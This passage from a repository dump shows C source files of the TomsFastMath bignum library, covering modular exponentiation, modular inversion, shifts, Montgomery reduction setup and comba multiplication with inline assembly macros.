R[0][1] to G * R mod m */ 36 | if (fp_cmp_mag(P, G) != FP_GT) { 37 | /* G > P so we reduce it first */ 38 | fp_mod(G, P, &R[1]); 39 | } else { 40 | fp_copy(G, &R[1]); 41 | } 42 | fp_mulmod (&R[1], &R[0], P, &R[1]); 43 | 44 | /* for j = t-1 downto 0 do 45 | r_!k = R0*R1; r_k = r_k^2 46 | */ 47 | 48 | /* set initial mode and bit cnt */ 49 | bitcnt = 1; 50 | buf = 0; 51 | digidx = X->used - 1; 52 | 53 | for (;;) { 54 | /* grab next digit as required */ 55 | if (--bitcnt == 0) { 56 | /* if digidx == -1 we are out of digits so break */ 57 | if (digidx == -1) { 58 | break; 59 | } 60 | /* read next digit and reset bitcnt */ 61 | buf = X->dp[digidx--]; 62 | bitcnt = (int)DIGIT_BIT; 63 | } 64 | 65 | /* grab the next msb from the exponent */ 66 | y = (fp_digit)(buf >> (DIGIT_BIT - 1)) & 1; 67 | buf <<= (fp_digit)1; 68 | 69 | /* do ops */ 70 | fp_mul(&R[0], &R[1], &R[y^1]); fp_montgomery_reduce(&R[y^1], P, mp); 71 | fp_sqr(&R[y], &R[y]); fp_montgomery_reduce(&R[y], P, mp); 72 | } 73 | 74 | fp_montgomery_reduce(&R[0], P, mp); 75 | fp_copy(&R[0], Y); 76 | return FP_OKAY; 77 | } 78 | 79 | #else 80 | 81 | /* y = g**x (mod b) 82 | * Some restrictions... x must be positive and < b 83 | */ 84 | static int _fp_exptmod(fp_int * G, fp_int * X, fp_int * P, fp_int * Y) 85 | { 86 | fp_int M[64], res; 87 | fp_digit buf, mp; 88 | int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize; 89 | 90 | /* find window size */ 91 | x = fp_count_bits (X); 92 | if (x <= 21) { 93 | winsize = 1; 94 | } else if (x <= 36) { 95 | winsize = 3; 96 | } else if (x <= 140) { 97 | winsize = 4; 98 | } else if (x <= 450) { 99 | winsize = 5; 100 | } else { 101 | winsize = 6; 102 | } 103 | 104 | /* init M array */ 105 | memset(M, 0, sizeof(M)); 106 | 107 | /* now setup montgomery */ 108 | if ((err = fp_montgomery_setup (P, &mp)) != FP_OKAY) { 109 | return err; 110 | } 111 | 112 | /* setup result */ 113 | fp_init(&res); 114 | 115 | /* create M table 116 | * 117 | * The M table contains powers of the input base, e.g. M[x] = G^x mod P 118 | * 119 | * The first half of the table is not computed though accept for M[0] and M[1] 120 | */ 121 | 122 | /* now we need R mod m */ 123 | fp_montgomery_calc_normalization (&res, P); 124 | 125 | /* now set M[1] to G * R mod m */ 126 | if (fp_cmp_mag(P, G) != FP_GT) { 127 | /* G > P so we reduce it first */ 128 | fp_mod(G, P, &M[1]); 129 | } else { 130 | fp_copy(G, &M[1]); 131 | } 132 | fp_mulmod (&M[1], &res, P, &M[1]); 133 | 134 | /* compute the value at M[1<<(winsize-1)] by squaring M[1] (winsize-1) times */ 135 | fp_copy (&M[1], &M[1 << (winsize - 1)]); 136 | for (x = 0; x < (winsize - 1); x++) { 137 | fp_sqr (&M[1 << (winsize - 1)], &M[1 << (winsize - 1)]); 138 | fp_montgomery_reduce (&M[1 << (winsize - 1)], P, mp); 139 | } 140 | 141 | /* create upper table */ 142 | for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) { 143 | fp_mul(&M[x - 1], &M[1], &M[x]); 144 | fp_montgomery_reduce(&M[x], P, mp); 145 | } 146 | 147 | /* set initial mode and bit cnt */ 148 | mode = 0; 149 | bitcnt = 1; 150 | buf = 0; 151 | digidx = X->used - 1; 152 | bitcpy = 0; 153 | bitbuf = 0; 154 | 155 | for (;;) { 156 | /* grab next digit as required */ 157 | if (--bitcnt == 0) { 158 | /* if digidx == -1 we are out of digits so break */ 159 | if (digidx == -1) { 160 | break; 161 | } 162 | /* read next digit and reset bitcnt */ 163 | buf = X->dp[digidx--]; 164 | bitcnt = (int)DIGIT_BIT; 165 | } 166 | 167 | /* grab the next msb from the exponent */ 168 | y = (fp_digit)(buf >> (DIGIT_BIT - 1)) & 1; 169 | buf <<= (fp_digit)1; 170 | 171 | /* if the bit is zero and mode == 0 then we ignore it 172 | * These represent the leading zero bits before the first 1 bit 173 | * in the exponent. Technically this opt is not required but it 174 | * does lower the # of trivial squaring/reductions used 175 | */ 176 | if (mode == 0 && y == 0) { 177 | continue; 178 | } 179 | 180 | /* if the bit is zero and mode == 1 then we square */ 181 | if (mode == 1 && y == 0) { 182 | fp_sqr(&res, &res); 183 | fp_montgomery_reduce(&res, P, mp); 184 | continue; 185 | } 186 | 187 | /* else we add it to the window */ 188 | bitbuf |= (y << (winsize - ++bitcpy)); 189 | mode = 2; 190 | 191 | if (bitcpy == winsize) { 192 | /* ok window is filled so square as required and multiply */ 193 | /* square first */ 194 | for (x = 0; x < winsize; x++) { 195 | fp_sqr(&res, &res); 196 | fp_montgomery_reduce(&res, P, mp); 197 | } 198 | 199 | /* then multiply */ 200 | fp_mul(&res, &M[bitbuf], &res); 201 | fp_montgomery_reduce(&res, P, mp); 202 | 203 | /* empty window and reset */ 204 | bitcpy = 0; 205 | bitbuf = 0; 206 | mode = 1; 207 | } 208 | } 209 | 210 | /* if bits remain then square/multiply */ 211 | if (mode == 2 && bitcpy > 0) { 212 | /* square then multiply if the bit is set */ 213 | for (x = 0; x < bitcpy; x++) { 214 | fp_sqr(&res, &res); 215 | fp_montgomery_reduce(&res, P, mp); 216 | 217 | /* get next bit of the window */ 218 | bitbuf <<= 1; 219 | if ((bitbuf & (1 << winsize)) != 0) { 220 | /* then multiply */ 221 | fp_mul(&res, &M[1], &res); 222 | fp_montgomery_reduce(&res, P, mp); 223 | } 224 | } 225 | } 226 | 227 | /* fixup result if Montgomery reduction is used 228 | * recall that any value in a Montgomery system is 229 | * actually multiplied by R mod n. So we have 230 | * to reduce one more time to cancel out the factor 231 | * of R. 232 | */ 233 | fp_montgomery_reduce(&res, P, mp); 234 | 235 | /* swap res with Y */ 236 | fp_copy (&res, Y); 237 | return FP_OKAY; 238 | } 239 | 240 | #endif 241 | 242 | 243 | int fp_exptmod(fp_int * G, fp_int * X, fp_int * P, fp_int * Y) 244 | { 245 | fp_int tmp; 246 | int err; 247 | 248 | #ifdef TFM_CHECK 249 | /* prevent overflows */ 250 | if (P->used > (FP_SIZE/2)) { 251 | return FP_VAL; 252 | } 253 | #endif 254 | 255 | /* is X negative? */ 256 | if (X->sign == FP_NEG) { 257 | /* yes, copy G and invmod it */ 258 | fp_copy(G, &tmp); 259 | if ((err = fp_invmod(&tmp, P, &tmp)) != FP_OKAY) { 260 | return err; 261 | } 262 | X->sign = FP_ZPOS; 263 | err = _fp_exptmod(&tmp, X, P, Y); 264 | if (X != Y) { 265 | X->sign = FP_NEG; 266 | } 267 | return err; 268 | } else { 269 | /* Positive exponent so just exptmod */ 270 | return _fp_exptmod(G, X, P, Y); 271 | } 272 | } 273 | 274 | /* $Source$ */ 275 | /* $Revision$ */ 276 | /* $Date$ */ 277 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_invmod.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | static int fp_invmod_slow (fp_int * a, fp_int * b, fp_int * c) 13 | { 14 | fp_int x, y, u, v, A, B, C, D; 15 | int res; 16 | 17 | /* b cannot be negative */ 18 | if (b->sign == FP_NEG || fp_iszero(b) == 1) { 19 | return FP_VAL; 20 | } 21 | 22 | /* init temps */ 23 | fp_init(&x); fp_init(&y); 24 | fp_init(&u); fp_init(&v); 25 | fp_init(&A); fp_init(&B); 26 | fp_init(&C); fp_init(&D); 27 | 28 | /* x = a, y = b */ 29 | if ((res = fp_mod(a, b, &x)) != FP_OKAY) { 30 | return res; 31 | } 32 | fp_copy(b, &y); 33 | 34 | /* 2. [modified] if x,y are both even then return an error! */ 35 | if (fp_iseven (&x) == 1 && fp_iseven (&y) == 1) { 36 | return FP_VAL; 37 | } 38 | 39 | /* 3. u=x, v=y, A=1, B=0, C=0,D=1 */ 40 | fp_copy (&x, &u); 41 | fp_copy (&y, &v); 42 | fp_set (&A, 1); 43 | fp_set (&D, 1); 44 | 45 | top: 46 | /* 4. while u is even do */ 47 | while (fp_iseven (&u) == 1) { 48 | /* 4.1 u = u/2 */ 49 | fp_div_2 (&u, &u); 50 | 51 | /* 4.2 if A or B is odd then */ 52 | if (fp_isodd (&A) == 1 || fp_isodd (&B) == 1) { 53 | /* A = (A+y)/2, B = (B-x)/2 */ 54 | fp_add (&A, &y, &A); 55 | fp_sub (&B, &x, &B); 56 | } 57 | /* A = A/2, B = B/2 */ 58 | fp_div_2 (&A, &A); 59 | fp_div_2 (&B, &B); 60 | } 61 | 62 | /* 5. while v is even do */ 63 | while (fp_iseven (&v) == 1) { 64 | /* 5.1 v = v/2 */ 65 | fp_div_2 (&v, &v); 66 | 67 | /* 5.2 if C or D is odd then */ 68 | if (fp_isodd (&C) == 1 || fp_isodd (&D) == 1) { 69 | /* C = (C+y)/2, D = (D-x)/2 */ 70 | fp_add (&C, &y, &C); 71 | fp_sub (&D, &x, &D); 72 | } 73 | /* C = C/2, D = D/2 */ 74 | fp_div_2 (&C, &C); 75 | fp_div_2 (&D, &D); 76 | } 77 | 78 | /* 6. if u >= v then */ 79 | if (fp_cmp (&u, &v) != FP_LT) { 80 | /* u = u - v, A = A - C, B = B - D */ 81 | fp_sub (&u, &v, &u); 82 | fp_sub (&A, &C, &A); 83 | fp_sub (&B, &D, &B); 84 | } else { 85 | /* v - v - u, C = C - A, D = D - B */ 86 | fp_sub (&v, &u, &v); 87 | fp_sub (&C, &A, &C); 88 | fp_sub (&D, &B, &D); 89 | } 90 | 91 | /* if not zero goto step 4 */ 92 | if (fp_iszero (&u) == 0) 93 | goto top; 94 | 95 | /* now a = C, b = D, gcd == g*v */ 96 | 97 | /* if v != 1 then there is no inverse */ 98 | if (fp_cmp_d (&v, 1) != FP_EQ) { 99 | return FP_VAL; 100 | } 101 | 102 | /* if its too low */ 103 | while (fp_cmp_d(&C, 0) == FP_LT) { 104 | fp_add(&C, b, &C); 105 | } 106 | 107 | /* too big */ 108 | while (fp_cmp_mag(&C, b) != FP_LT) { 109 | fp_sub(&C, b, &C); 110 | } 111 | 112 | /* C is now the inverse */ 113 | fp_copy(&C, c); 114 | return FP_OKAY; 115 | } 116 | 117 | /* c = 1/a (mod b) for odd b only */ 118 | int fp_invmod(fp_int *a, fp_int *b, fp_int *c) 119 | { 120 | fp_int x, y, u, v, B, D; 121 | int neg; 122 | 123 | /* 2. [modified] b must be odd */ 124 | if (fp_iseven (b) == FP_YES) { 125 | return fp_invmod_slow(a,b,c); 126 | } 127 | 128 | /* init all our temps */ 129 | fp_init(&x); fp_init(&y); 130 | fp_init(&u); fp_init(&v); 131 | fp_init(&B); fp_init(&D); 132 | 133 | /* x == modulus, y == value to invert */ 134 | fp_copy(b, &x); 135 | 136 | /* we need y = |a| */ 137 | fp_abs(a, &y); 138 | 139 | /* 3. u=x, v=y, A=1, B=0, C=0,D=1 */ 140 | fp_copy(&x, &u); 141 | fp_copy(&y, &v); 142 | fp_set (&D, 1); 143 | 144 | top: 145 | /* 4. while u is even do */ 146 | while (fp_iseven (&u) == FP_YES) { 147 | /* 4.1 u = u/2 */ 148 | fp_div_2 (&u, &u); 149 | 150 | /* 4.2 if B is odd then */ 151 | if (fp_isodd (&B) == FP_YES) { 152 | fp_sub (&B, &x, &B); 153 | } 154 | /* B = B/2 */ 155 | fp_div_2 (&B, &B); 156 | } 157 | 158 | /* 5. while v is even do */ 159 | while (fp_iseven (&v) == FP_YES) { 160 | /* 5.1 v = v/2 */ 161 | fp_div_2 (&v, &v); 162 | 163 | /* 5.2 if D is odd then */ 164 | if (fp_isodd (&D) == FP_YES) { 165 | /* D = (D-x)/2 */ 166 | fp_sub (&D, &x, &D); 167 | } 168 | /* D = D/2 */ 169 | fp_div_2 (&D, &D); 170 | } 171 | 172 | /* 6. if u >= v then */ 173 | if (fp_cmp (&u, &v) != FP_LT) { 174 | /* u = u - v, B = B - D */ 175 | fp_sub (&u, &v, &u); 176 | fp_sub (&B, &D, &B); 177 | } else { 178 | /* v - v - u, D = D - B */ 179 | fp_sub (&v, &u, &v); 180 | fp_sub (&D, &B, &D); 181 | } 182 | 183 | /* if not zero goto step 4 */ 184 | if (fp_iszero (&u) == FP_NO) { 185 | goto top; 186 | } 187 | 188 | /* now a = C, b = D, gcd == g*v */ 189 | 190 | /* if v != 1 then there is no inverse */ 191 | if (fp_cmp_d (&v, 1) != FP_EQ) { 192 | return FP_VAL; 193 | } 194 | 195 | /* b is now the inverse */ 196 | neg = a->sign; 197 | while (D.sign == FP_NEG) { 198 | fp_add (&D, b, &D); 199 | } 200 | fp_copy (&D, c); 201 | c->sign = neg; 202 | return FP_OKAY; 203 | } 204 | 205 | /* $Source$ */ 206 | /* $Revision$ */ 207 | /* $Date$ */ 208 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_lshd.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | void fp_lshd(fp_int *a, int x) 13 | { 14 | int y; 15 | 16 | /* move up and truncate as required */ 17 | y = MIN(a->used + x - 1, (int)(FP_SIZE-1)); 18 | 19 | /* store new size */ 20 | a->used = y + 1; 21 | 22 | /* move digits */ 23 | for (; y >= x; y--) { 24 | a->dp[y] = a->dp[y-x]; 25 | } 26 | 27 | /* zero lower digits */ 28 | for (; y >= 0; y--) { 29 | a->dp[y] = 0; 30 | } 31 | 32 | /* clamp digits */ 33 | fp_clamp(a); 34 | } 35 | 36 | /* $Source$ */ 37 | /* $Revision$ */ 38 | /* $Date$ */ 39 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_mod.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* c = a mod b, 0 <= c < b */ 13 | int fp_mod(fp_int *a, fp_int *b, fp_int *c) 14 | { 15 | fp_int t; 16 | int err; 17 | 18 | fp_zero(&t); 19 | if ((err = fp_div(a, b, NULL, &t)) != FP_OKAY) { 20 | return err; 21 | } 22 | if (t.sign != b->sign) { 23 | fp_add(&t, b, c); 24 | } else { 25 | fp_copy(&t, c); 26 | } 27 | return FP_OKAY; 28 | } 29 | 30 | 31 | 32 | /* $Source$ */ 33 | /* $Revision$ */ 34 | /* $Date$ */ 35 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_mod_2d.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* c = a mod 2**d */ 13 | void fp_mod_2d(fp_int *a, int b, fp_int *c) 14 | { 15 | int x; 16 | 17 | /* zero if count less than or equal to zero */ 18 | if (b <= 0) { 19 | fp_zero(c); 20 | return; 21 | } 22 | 23 | /* get copy of input */ 24 | fp_copy(a, c); 25 | 26 | /* if 2**d is larger than we just return */ 27 | if (b >= (DIGIT_BIT * a->used)) { 28 | return; 29 | } 30 | 31 | /* zero digits above the last digit of the modulus */ 32 | for (x = (b / DIGIT_BIT) + ((b % DIGIT_BIT) == 0 ? 0 : 1); x < c->used; x++) { 33 | c->dp[x] = 0; 34 | } 35 | /* clear the digit that is not completely outside/inside the modulus */ 36 | c->dp[b / DIGIT_BIT] &= ~((fp_digit)0) >> (DIGIT_BIT - b); 37 | fp_clamp (c); 38 | } 39 | 40 | /* $Source$ */ 41 | /* $Revision$ */ 42 | /* $Date$ */ 43 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_montgomery_calc_normalization.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* computes a = B**n mod b without division or multiplication useful for 13 | * normalizing numbers in a Montgomery system. 14 | */ 15 | void fp_montgomery_calc_normalization(fp_int *a, fp_int *b) 16 | { 17 | int x, bits; 18 | 19 | /* how many bits of last digit does b use */ 20 | bits = fp_count_bits (b) % DIGIT_BIT; 21 | if (!bits) bits = DIGIT_BIT; 22 | 23 | /* compute A = B^(n-1) * 2^(bits-1) */ 24 | if (b->used > 1) { 25 | fp_2expt (a, (b->used - 1) * DIGIT_BIT + bits - 1); 26 | } else { 27 | fp_set(a, 1); 28 | bits = 1; 29 | } 30 | 31 | /* now compute C = A * B mod b */ 32 | for (x = bits - 1; x < (int)DIGIT_BIT; x++) { 33 | fp_mul_2 (a, a); 34 | if (fp_cmp_mag (a, b) != FP_LT) { 35 | s_fp_sub (a, b, a); 36 | } 37 | } 38 | } 39 | 40 | 41 | /* $Source$ */ 42 | /* $Revision$ */ 43 | /* $Date$ */ 44 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_montgomery_setup.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* setups the montgomery reduction */ 13 | int fp_montgomery_setup(fp_int *a, fp_digit *rho) 14 | { 15 | fp_digit x, b; 16 | 17 | /* fast inversion mod 2**k 18 | * 19 | * Based on the fact that 20 | * 21 | * XA = 1 (mod 2**n) => (X(2-XA)) A = 1 (mod 2**2n) 22 | * => 2*X*A - X*X*A*A = 1 23 | * => 2*(1) - (1) = 1 24 | */ 25 | b = a->dp[0]; 26 | 27 | if ((b & 1) == 0) { 28 | return FP_VAL; 29 | } 30 | 31 | x = (((b + 2) & 4) << 1) + b; /* here x*a==1 mod 2**4 */ 32 | x *= 2 - b * x; /* here x*a==1 mod 2**8 */ 33 | x *= 2 - b * x; /* here x*a==1 mod 2**16 */ 34 | x *= 2 - b * x; /* here x*a==1 mod 2**32 */ 35 | #ifdef FP_64BIT 36 | x *= 2 - b * x; /* here x*a==1 mod 2**64 */ 37 | #endif 38 | 39 | /* rho = -1/m mod b */ 40 | *rho = (((fp_word) 1 << ((fp_word) DIGIT_BIT)) - ((fp_word)x)); 41 | 42 | return FP_OKAY; 43 | } 44 | 45 | 46 | /* $Source$ */ 47 | /* $Revision$ */ 48 | /* $Date$ */ 49 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_mul.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* c = a * b */ 13 | void fp_mul(fp_int *A, fp_int *B, fp_int *C) 14 | { 15 | int y, old_used; 16 | #if FP_SIZE >= 48 && (defined(TFM_MUL24) || defined(TFM_MUL28) || \ 17 | defined(TFM_MUL32) || defined(TFM_MUL48) || defined(TFM_MUL64)) 18 | int yy; 19 | #endif 20 | 21 | old_used = C->used; 22 | 23 | /* call generic if we're out of range */ 24 | if (A->used + B->used > FP_SIZE) { 25 | fp_mul_comba(A, B, C); 26 | goto clean; 27 | } 28 | 29 | y = MAX(A->used, B->used); 30 | #if FP_SIZE >= 48 && (defined(TFM_MUL24) || defined(TFM_MUL28) || \ 31 | defined(TFM_MUL32) || defined(TFM_MUL48) || defined(TFM_MUL64)) 32 | yy = MIN(A->used, B->used); 33 | #endif 34 | /* pick a comba (unrolled 4/8/16/32 x or rolled) based on the size 35 | of the largest input. We also want to avoid doing excess mults if the 36 | inputs are not close to the next power of two. That is, for example, 37 | if say y=17 then we would do (32-17)^2 = 225 unneeded multiplications 38 | */ 39 | 40 | #if defined(TFM_MUL3) && FP_SIZE >= 6 41 | if (y <= 3) { 42 | fp_mul_comba3(A,B,C); 43 | goto clean; 44 | } 45 | #endif 46 | #if defined(TFM_MUL4) && FP_SIZE >= 8 47 | if (y == 4) { 48 | fp_mul_comba4(A,B,C); 49 | goto clean; 50 | } 51 | #endif 52 | #if defined(TFM_MUL6) && FP_SIZE >= 12 53 | if (y <= 6) { 54 | fp_mul_comba6(A,B,C); 55 | goto clean; 56 | } 57 | #endif 58 | #if defined(TFM_MUL7) && FP_SIZE >= 14 59 | if (y == 7) { 60 | fp_mul_comba7(A,B,C); 61 | goto clean; 62 | } 63 | #endif 64 | #if defined(TFM_MUL8) && FP_SIZE >= 16 65 | if (y == 8) { 66 | fp_mul_comba8(A,B,C); 67 | goto clean; 68 | } 69 | #endif 70 | #if defined(TFM_MUL9) && FP_SIZE >= 18 71 | if (y == 9) { 72 | fp_mul_comba9(A,B,C); 73 | goto clean; 74 | } 75 | #endif 76 | #if defined(TFM_MUL12) && FP_SIZE >= 24 77 | if (y <= 12) { 78 | fp_mul_comba12(A,B,C); 79 | goto clean; 80 | } 81 | #endif 82 | #if defined(TFM_MUL17) && FP_SIZE >= 34 83 | if (y <= 17) { 84 | fp_mul_comba17(A,B,C); 85 | goto clean; 86 | } 87 | #endif 88 | 89 | #if defined(TFM_SMALL_SET) && FP_SIZE >= 32 90 | if (y <= 16) { 91 | fp_mul_comba_small(A,B,C); 92 | goto clean; 93 | } 94 | #endif 95 | #if defined(TFM_MUL20) && FP_SIZE >= 40 96 | if (y <= 20) { 97 | fp_mul_comba20(A,B,C); 98 | goto clean; 99 | } 100 | #endif 101 | #if defined(TFM_MUL24) && FP_SIZE >= 48 102 | if (yy >= 16 && y <= 24) { 103 | fp_mul_comba24(A,B,C); 104 | goto clean; 105 | } 106 | #endif 107 | #if defined(TFM_MUL28) && FP_SIZE >= 56 108 | if (yy >= 20 && y <= 28) { 109 | fp_mul_comba28(A,B,C); 110 | goto clean; 111 | } 112 | #endif 113 | #if defined(TFM_MUL32) && FP_SIZE >= 64 114 | if (yy >= 24 && y <= 32) { 115 | fp_mul_comba32(A,B,C); 116 | goto clean; 117 | } 118 | #endif 119 | #if defined(TFM_MUL48) && FP_SIZE >= 96 120 | if (yy >= 40 && y <= 48) { 121 | fp_mul_comba48(A,B,C); 122 | goto clean; 123 | } 124 | #endif 125 | #if defined(TFM_MUL64) && FP_SIZE >= 128 126 | if (yy >= 56 && y <= 64) { 127 | fp_mul_comba64(A,B,C); 128 | goto clean; 129 | } 130 | #endif 131 | fp_mul_comba(A,B,C); 132 | clean: 133 | for (y = C->used; y < old_used; y++) { 134 | C->dp[y] = 0; 135 | } 136 | } 137 | 138 | 139 | /* $Source: /cvs/libtom/tomsfastmath/src/mul/fp_mul.c,v $ */ 140 | /* $Revision: 1.1 $ */ 141 | /* $Date: 2006/12/31 21:25:53 $ */ 142 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_mul_2.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | void fp_mul_2(fp_int * a, fp_int * b) 13 | { 14 | int x, oldused; 15 | 16 | oldused = b->used; 17 | b->used = a->used; 18 | 19 | { 20 | register fp_digit r, rr, *tmpa, *tmpb; 21 | 22 | /* alias for source */ 23 | tmpa = a->dp; 24 | 25 | /* alias for dest */ 26 | tmpb = b->dp; 27 | 28 | /* carry */ 29 | r = 0; 30 | for (x = 0; x < a->used; x++) { 31 | 32 | /* get what will be the *next* carry bit from the 33 | * MSB of the current digit 34 | */ 35 | rr = *tmpa >> ((fp_digit)(DIGIT_BIT - 1)); 36 | 37 | /* now shift up this digit, add in the carry [from the previous] */ 38 | *tmpb++ = ((*tmpa++ << ((fp_digit)1)) | r); 39 | 40 | /* copy the carry that would be from the source 41 | * digit into the next iteration 42 | */ 43 | r = rr; 44 | } 45 | 46 | /* new leading digit? */ 47 | if (r != 0 && b->used != (FP_SIZE-1)) { 48 | /* add a MSB which is always 1 at this point */ 49 | *tmpb = 1; 50 | ++(b->used); 51 | } 52 | 53 | /* now zero any excess digits on the destination 54 | * that we didn't write to 55 | */ 56 | tmpb = b->dp + b->used; 57 | for (x = b->used; x < oldused; x++) { 58 | *tmpb++ = 0; 59 | } 60 | } 61 | b->sign = a->sign; 62 | } 63 | 64 | 65 | /* $Source$ */ 66 | /* $Revision$ */ 67 | /* $Date$ */ 68 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_mul_2d.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* c = a * 2**d */ 13 | void fp_mul_2d(fp_int *a, int b, fp_int *c) 14 | { 15 | fp_digit carry, carrytmp, shift; 16 | int x; 17 | 18 | /* copy it */ 19 | fp_copy(a, c); 20 | 21 | /* handle whole digits */ 22 | if (b >= DIGIT_BIT) { 23 | fp_lshd(c, b/DIGIT_BIT); 24 | } 25 | b %= DIGIT_BIT; 26 | 27 | /* shift the digits */ 28 | if (b != 0) { 29 | carry = 0; 30 | shift = DIGIT_BIT - b; 31 | for (x = 0; x < c->used; x++) { 32 | carrytmp = c->dp[x] >> shift; 33 | c->dp[x] = (c->dp[x] << b) + carry; 34 | carry = carrytmp; 35 | } 36 | /* store last carry if room */ 37 | if (carry && x < FP_SIZE) { 38 | c->dp[c->used++] = carry; 39 | } 40 | } 41 | fp_clamp(c); 42 | } 43 | 44 | 45 | /* $Source$ */ 46 | /* $Revision$ */ 47 | /* $Date$ */ 48 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_mul_comba.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | 11 | /* About this file... 12 | 13 | */ 14 | 15 | #include 16 | 17 | #if defined(TFM_PRESCOTT) && defined(TFM_SSE2) 18 | #undef TFM_SSE2 19 | #define TFM_X86 20 | #endif 21 | 22 | /* these are the combas. Worship them. */ 23 | #if defined(TFM_X86) 24 | /* Generic x86 optimized code */ 25 | 26 | /* anything you need at the start */ 27 | #define COMBA_START 28 | 29 | /* clear the chaining variables */ 30 | #define COMBA_CLEAR \ 31 | c0 = c1 = c2 = 0; 32 | 33 | /* forward the carry to the next digit */ 34 | #define COMBA_FORWARD \ 35 | do { c0 = c1; c1 = c2; c2 = 0; } while (0); 36 | 37 | /* store the first sum */ 38 | #define COMBA_STORE(x) \ 39 | x = c0; 40 | 41 | /* store the second sum [carry] */ 42 | #define COMBA_STORE2(x) \ 43 | x = c1; 44 | 45 | /* anything you need at the end */ 46 | #define COMBA_FINI 47 | 48 | /* this should multiply i and j */ 49 | #define MULADD(i, j) \ 50 | asm( \ 51 | "movl %6,%%eax \n\t" \ 52 | "mull %7 \n\t" \ 53 | "addl %%eax,%0 \n\t" \ 54 | "adcl %%edx,%1 \n\t" \ 55 | "adcl $0,%2 \n\t" \ 56 | :"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "m"(i), "m"(j) :"%eax","%edx","cc"); 57 | 58 | #elif defined(TFM_X86_64) 59 | /* x86-64 optimized */ 60 | 61 | /* anything you need at the start */ 62 | #define COMBA_START 63 | 64 | /* clear the chaining variables */ 65 | #define COMBA_CLEAR \ 66 | c0 = c1 = c2 = 0; 67 | 68 | /* forward the carry to the next digit */ 69 | #define COMBA_FORWARD \ 70 | do { c0 = c1; c1 = c2; c2 = 0; } while (0); 71 | 72 | /* store the first sum */ 73 | #define COMBA_STORE(x) \ 74 | x = c0; 75 | 76 | /* store the second sum [carry] */ 77 | #define COMBA_STORE2(x) \ 78 | x = c1; 79 | 80 | /* anything you need at the end */ 81 | #define COMBA_FINI 82 | 83 | /* this should multiply i and j */ 84 | #define MULADD(i, j) \ 85 | asm ( \ 86 | "movq %6,%%rax \n\t" \ 87 | "mulq %7 \n\t" \ 88 | "addq %%rax,%0 \n\t" \ 89 | "adcq %%rdx,%1 \n\t" \ 90 | "adcq $0,%2 \n\t" \ 91 | :"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "g"(i), "g"(j) :"%rax","%rdx","cc"); 92 | 93 | #elif defined(TFM_SSE2) 94 | /* use SSE2 optimizations */ 95 | 96 | /* anything you need at the start */ 97 | #define COMBA_START 98 | 99 | /* clear the chaining variables */ 100 | #define COMBA_CLEAR \ 101 | c0 = c1 = c2 = 0; 102 | 103 | /* forward the carry to the next digit */ 